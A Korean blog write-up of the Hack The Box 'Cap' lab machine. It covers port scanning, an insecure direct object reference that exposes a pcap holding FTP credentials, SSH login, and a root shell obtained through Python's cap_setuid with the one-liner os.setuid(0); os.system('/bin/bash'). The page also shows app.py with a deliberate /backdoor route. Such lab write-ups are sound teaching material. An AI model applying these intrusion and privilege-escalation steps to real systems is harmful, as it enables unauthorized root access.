상세 컨텐츠

본문 제목

[Hack The Box] Machine - Cap

HACK THE BOX

by koharin 2021. 10. 2. 16:00

본문

728x90
반응형

Port Scanning

nmap 명령어를 사용하여 포트 스캐닝을 진행한다.

sudo apt-get update
sudo apt-get install -y nmap

문제에서 주어진 IP로 열린 포트를 확인한다.

koharin@koharin-virtual-machine:~$ nmap 10.10.10.245
Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-26 23:29 KST
Nmap scan report for 10.10.10.245
Host is up (0.11s latency).
Not shown: 997 filtered ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 23.97 seconds

포트 스캐닝 결과, 21번 포트에서 FTP가, 80번 포트에서 HTTP,, 그리고 22번 포트에서 SSH가 서비스되고 있다.
FTP나 SSH에 접속하려면 로그인 정보가 필요한데 아직은 정보가 부족하므로 HTTP로 접속해보자.

 

웹페이지 접속

주어진 10.10.10.245 아이피로 접속해보면 여러 메뉴가 있는데, 그 중에서 다음의 페이지에서 패킷 캡처를 진행한 정보를 확인할 수 있다.
10.10.10.245/data/7가 처음 들어가지는 페이지인데 거기에서는 잡힌 패킷 정보가 없음을 알 수 있었고, Download를 통해 받은 6.pcap 파일도 아무 정보가 존재하지 않는다.
/data/ + 숫자 경로가 또 존재할 것이라고 생각하고 /data/0 경로로 들어가보니 다음 페이지를 확인할 수 있었다.

image


Download 버튼으로 0.pcap 파일을 받을 수 있었다.

 

WireShark로 0.pcap 확인

0.pcap 파일을 WireShark 툴로 열어보았다.
FTP에 로그인하여 접속하고 로그아웃한 정보를 확인할 수 있다.

image


위의 이미지에서 볼 수 있듯이 nathan 사용자가 Buck3tH4TF0RM3! 패스워드로 FTP에 로그인한 것을 확인할 수 있다.

image


이후 syst 명령어로 UNIX Type: L8을 확인하고, LIST 명령어(정확한 명령어인지는 알 수 없지만 ls와 같이 LISTING하는 명령어임을 추측)로 directory listing을 진행한 후, LIST -al 로 ls -al과 같이 숨겨진 파일을 포함한 파일들의 상세 정보를 확인하였다. TYPE I 로 Binary mode로 전환 후, RETR notes.txt로 파일을 열고자 했는데 Failed to open file로 실패하여 QUIT으로 로그아웃을 진행했다.

 

FTP 접속

nathan/Buck3tH4TF0RM3!의 로그인 정보를 알았으니 FTP에 접속해보았다.
윈도우 상에서는 파일 탐색기 내에서 ftp://10.10.10.245:21로 FTP에 접속할 수 있다.

image

 

image

FTP로 접속 후 user.txt 파일을 확인할 수 있었다.

image


PC로 해당 파일을 복사하여 열어보면 USER FLAG를 확인할 수 있다.

Linux에서도 ftp 10.10.10.245로 FTP 접속이 가능하다.

nathan@cap:~$ ftp 10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:nathan): nathan
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-r--------    1 1001     1001           33 Sep 26 11:39 user.txt
226 Directory send OK.
ftp> ls -al
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    4 1001     1001         4096 Sep 26 12:10 .
drwxr-xr-x    3 0        0            4096 May 23 19:17 ..
lrwxrwxrwx    1 0        0               9 May 15 21:40 .bash_history -> /dev/null
-rw-r--r--    1 1001     1001          220 Feb 25  2020 .bash_logout
-rw-r--r--    1 1001     1001         3771 Feb 25  2020 .bashrc
drwx------    2 1001     1001         4096 May 23 19:17 .cache
drwxrwxr-x    3 1001     1001         4096 Sep 26 12:10 .local
-rw-r--r--    1 1001     1001          807 Feb 25  2020 .profile
lrwxrwxrwx    1 0        0               9 May 27 09:16 .viminfo -> /dev/null
-r--------    1 1001     1001           33 Sep 26 11:39 user.txt
226 Directory send OK.

0.pcap 파일에서 확인한 메시지와 동일한 것을 알 수 있다.

 

SSH 접속

nathan 사용자 로그인 정보로 SSH에 접속해본다.

koharin@koharin-virtual-machine:~$ ssh nathan@10.10.10.245
The authenticity of host '10.10.10.245 (10.10.10.245)' can't be established.
ECDSA key fingerprint is SHA256:8TaASv/TRhdOSeq3woLxOcKrIOtDhrZJVrrE0WbzjSc.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.245' (ECDSA) to the list of known hosts.
nathan@10.10.10.245's password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Sep 26 12:15:53 UTC 2021

  System load:           0.37
  Usage of /:            36.6% of 8.73GB
  Memory usage:          33%
  Swap usage:            0%
  Processes:             229
  Users logged in:       1
  IPv4 address for eth0: 10.10.10.245
  IPv6 address for eth0: dead:beef::250:56ff:feb9:93b2

  => There are 3 zombie processes.

 * Super-optimized for small spaces - read how we shrank the memory
   footprint of MicroK8s to make it the smallest full K8s around.

   https://ubuntu.com/blog/microk8s-memory-optimisation

63 updates can be applied immediately.
42 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun Sep 26 11:54:25 2021 from 10.10.14.87
nathan@cap:~$ ls
user.txt
nathan@cap:~$ cat user.txt

디렉터리 상에서 user.txt를 동일하게 확인할 수 있다.

app.py

nathan@cap:~$ cd /var/www/html
nathan@cap:/var/www/html$ ls
__pycache__  app.py  static  templates  upload
#!/usr/bin/python3

import os
from flask import *
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
import tempfile
import dpkt
from werkzeug.utils import append_slash_redirect

#test
app = Flask(__name__)
app.config['TEMPLATES_AUTO_RELOAD'] = True
app.secret_key = b'\x81\x02&\x18\\a0ej\x06\xec\x917y*\x04Y\x83e\xebC\xee\xab\xcf\xac;\x8dx\x8bf\xc4\x15'
limiter = Limiter(app, key_func=get_remote_address, default_limits=["99999999999999999 per day", "99999999999999999999 per hour"])
pcapid = 0
lock = False

@app.before_first_request
def get_file_id():
        global pcapid
        path = os.path.join(app.root_path, "upload")
        onlyfiles = [f for f in os.listdir(path) if os.path.isfile(os.path.join(path, f))]
        ints = []
        for x in onlyfiles:
                try:
                        ints.append(int(x.replace(".pcap", "")))
                except:
                        pass
        try:
                pcapid = max(ints)+1
        except:
                pcapid = 0


def get_appid():
        global pcapid
        return pcapid

def increment_appid():
        global pcapid
        pcapid += 1

def get_lock():
        global lock
        while lock:
                pass
        lock = True

def release_lock():
        global lock
        lock = False

def process_pcap(pcap_path):
        reader = dpkt.pcap.Reader(open(pcap_path, "rb"))
        counter=0
        ipcounter=0
        tcpcounter=0
        udpcounter=0

        for ts, pkt in reader:
                counter+=1
                eth=dpkt.ethernet.Ethernet(pkt)

                try:
                        ip=dpkt.ip.IP(eth.data)
                except:
                        continue

                ipcounter+=1

                if ip.p==0:
                        tcpcounter+=1

                if ip.p==dpkt.ip.IP_PROTO_UDP:
                        udpcounter+=1

        data = {}
        data['Number of Packets'] = counter
        data['Number of IP Packets'] = ipcounter
        data['Number of TCP Packets']  = tcpcounter
        data['Number of UDP Packets']  = udpcounter
        return data


@app.route("/")
def index():
        return render_template("index.html")

PCAP_MAGIC_BYTES = [b"\xa1\xb2\xc3\xd4", b"\xd4\xc3\xb2\xa1", b"\x0a\x0d\x0d\x0a"]

@app.route("/capture")
@limiter.limit("10 per minute")
def capture():

        get_lock()
        pcapid = get_appid()
        increment_appid()
        release_lock()

        path = os.path.join(app.root_path, "upload", str(pcapid) + ".pcap")
        ip = request.remote_addr
        # permissions issues with gunicorn and threads. hacky solution for now.
        #os.setuid(0)
        #command = f"timeout 5 tcpdump -w {path} -i any host {ip}"
        #command = f"""python3 -c 'import os; os.setuid(0); os.system("timeout 5 tcpdump -w {path} -i any host {ip}")'"""
        command = f"""python3 -c 'import os; os.setuid(0); os.system("id")'"""
    os.system(command)
        #os.setuid(1000)

        return redirect("/data/" + str(pcapid))

@app.route("/ip")
def ifconfig():
    d = os.popen("ifconfig").read().strip()
    print(d)
    return render_template("index.html", rawtext=d)

@app.route("/netstat")
def netstat():
    d = os.popen("netstat -aneop").read().strip()
    print(d)
    return render_template("index.html", rawtext=d)

@app.route("/backdoor")
def backdoor():
    command = f"""python3 -c 'import os; os.setuid(0); os.system("id")'"""
    os.system(command)

@app.route("/data")
def data():
        if "data" not in session:
                return redirect("/")
        data = session.pop("data")
        path = session.pop("path")
        return render_template("data.html", data=data, path=path)

@app.route("/data/<id>")
def data_id(id):
        try:
                id = int(id)
        except:
                return redirect("/")
        try:
                data = process_pcap(os.path.join(app.root_path, "upload", str(id) + ".pcap"))
                path = str(id) + ".pcap"
                return render_template("index.html", data=data, path=path)
        except Exception as e:
                print(e)
                return redirect("/")

@app.route("/download/<id>")
def download(id):
        try:
                id = int(id)
        except:
                return redirect("/")
        uploads = os.path.join(app.root_path, "upload")
        return send_from_directory(uploads, str(id) + ".pcap", as_attachment=True)

if __name__ == "__main__":
        app.run("0.0.0.0", 80, debug=True)

웹페이지 정보를 확인하기 위해 /var/www/html 경로로 이동하였고, app.py를 열어봤고, backdoor 함수를 확인해보면,

def backdoor():
    command = f"""python3 -c 'import os; os.setuid(0); os.system("id")'"""
    os.system(command)

python으로 UID를 0으로 변경 후 id 명령어를 실행한다. UID가 0이라는 것은 root를 의미한다. 따라서 python을 통해 UID를 0으로 변경하고 root 권한으로 원하는 명령어를 수행할 수 있다.

nathan@cap:/var/www/html$ python3 -c 'import os; os.setuid(0); os.system("id")'
uid=0(root) gid=1001(nathan) groups=1001(nathan)

nathan 권한으로 위의 명령어를 사용하면 UID가 0인 root임을 확인할 수 있다.

따라서 os.system(“/bin/sh”)으로 UID가 0인 root 쉘을 실행할 수 있다.

nathan@cap:/var/www/html$ python -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@cap:/var/www/html# cd /
root@cap:/# ls
bin   cdrom  etc   lib    lib64   lost+found  mnt  proc  run   snap  sys  usr
boot  dev    home  lib32  libx32  media       opt  root  sbin  srv   tmp  var
root@cap:/# find / -name "*.txt"
/usr/share/gnupg/help.fi.txt
[...]
/home/nathan/user.txt
[...]
/root/root.txt
root@cap:/# cat /root/root.txt

user.txt가 있었기 때문에 system flag 파일도 .txt로 끝날 것이라고 생각하고 find 명령어를 통해 txt 파일을 검색해보았다.

그중에서 /root 경로의 root.txt 파일을 확인할 수 있었다.

 

CAP_SETUID

nathan@cap:/etc/ssh$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

추가로, python3.8에 cap_setuid라는 capability가 있기 때문에 python을 사용해서 UID를 0으로 변경할 수 있었다.

CAP_SETUID UID를 변경하는 것을 허용하는 capability이다.

728x90
반응형

'HACK THE BOX' 카테고리의 다른 글

[Hack The Box] Pwnable - You know 0xDiablos  (0) 2022.01.03
[Hack The Box] Web - Templated  (0) 2021.09.11
[Hack The Box] Mobile - Cat  (0) 2021.09.11

관련글 더보기